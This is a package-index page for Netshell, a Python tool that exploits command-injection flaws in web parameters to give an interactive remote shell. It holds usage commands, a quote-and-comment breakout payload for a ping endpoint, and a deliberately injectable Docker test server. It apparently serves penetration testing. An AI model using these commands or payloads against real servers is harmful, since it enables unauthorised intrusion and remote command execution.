Skip to main content

A CLI HTTP shell to connect to remote shells

Project description

Netshell

A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.

Installation

Install using pip:

pip install netshell

or manually by downloading the git repository:

git clone https://github.com/dubniczky/Netshell

Usage

Simple injection

The q query parameter of http://example.com/vln.php is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:

In this example the value of the q parameter is ran as a command.

httpshell -a http://example.com/vln.php -p q
Connection successful!

example.com > whoami
www-data

Breakout injection

If the value of the parameter is embedded into a command and have to break out, then the --prefix, --suffix parameters define a stable environment for the shell. For example with the ping command:

ping -c '{IP_PARAMETER_INSERTED_HERE}'

to break out, the command has to start with '; and end with #:

ping -c '' whoami #'

I recommend testing this manually using a tool such as curl with a simple command like whoami, then starting netshell with the prefix and suffix set.

⚠️ Please note that the values in the --prefix and --suffix fields are also URL encoded if URL encoding is not disabled. If you are encoding it manually, you can use this tool: https://convert.dubniczky.com/?from=text&to=url

netshell -a http://example.com/ping.php -p ip -P "';" -S " #"

Reference

Use httpshell --help for all flags and options.

Command line options:

  • -h, --help - show this help message and exit
  • --address, -a ADDRESS Target address containing the full path. E.g., http://example.com/vulnerable.php
  • --parameter, -p PARAMETER Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
  • --cookies, -c COOKIES Use cookies for the request
  • --agent AGENT Set a custom User-Agent header for the requests
  • --prefix, -P PREFIX Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
  • --suffix, -S SUFFIX Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
  • --verbose, -v Verbose output
  • --no-url-encode Disable URL encoding of commands
  • --no-preflight Skip preflight checks and go straight to the shell interface

Testing

The /test folder contains a simple injectable web server that can be started using Docker Compose.

cd test
docker compose up --build

The injectable point is at /good path with the p query parameter.

netshell -a http://localhost:8000/good -p q

A breakout injection point with the ping command ping -c 1 '<ip>' is on the /ping path with the ip query parameter.

netshell -a http://localhost:8000/ping -p ip --prefix "';" --suffix " #"

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

netshell-1.1.1.tar.gz (7.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

netshell-1.1.1-py3-none-any.whl (7.6 kB view details)

Uploaded Python 3

File details

Details for the file netshell-1.1.1.tar.gz.

File metadata

  • Download URL: netshell-1.1.1.tar.gz
  • Upload date:
  • Size: 7.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for netshell-1.1.1.tar.gz
Algorithm Hash digest
SHA256 ac94a313dab92353055406021921597e1760faf980c4bffdc2dc52b4f94fd73e
MD5 4fe2bc167fd8a18e24e1082597fc3e15
BLAKE2b-256 4f742ad014c59443b170deaf575c0311151a370db5d50ba19a6bcbdb885e06c2

See more details on using hashes here.

Provenance

The following attestation bundles were made for netshell-1.1.1.tar.gz:

Publisher: publish.yml on dubniczky/Netshell

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file netshell-1.1.1-py3-none-any.whl.

File metadata

  • Download URL: netshell-1.1.1-py3-none-any.whl
  • Upload date:
  • Size: 7.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for netshell-1.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 1bc11d15add1a5d70cff7a9d6fa60d8012e353b19f45abe7195f40bb1724fa06
MD5 7736b83d880a91dadf8c1918226612d5
BLAKE2b-256 843cbbd93683b3d3d2a881345b477801b5815a068ac18af53fb00b9037d50969

See more details on using hashes here.

Provenance

The following attestation bundles were made for netshell-1.1.1-py3-none-any.whl:

Publisher: publish.yml on dubniczky/Netshell

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page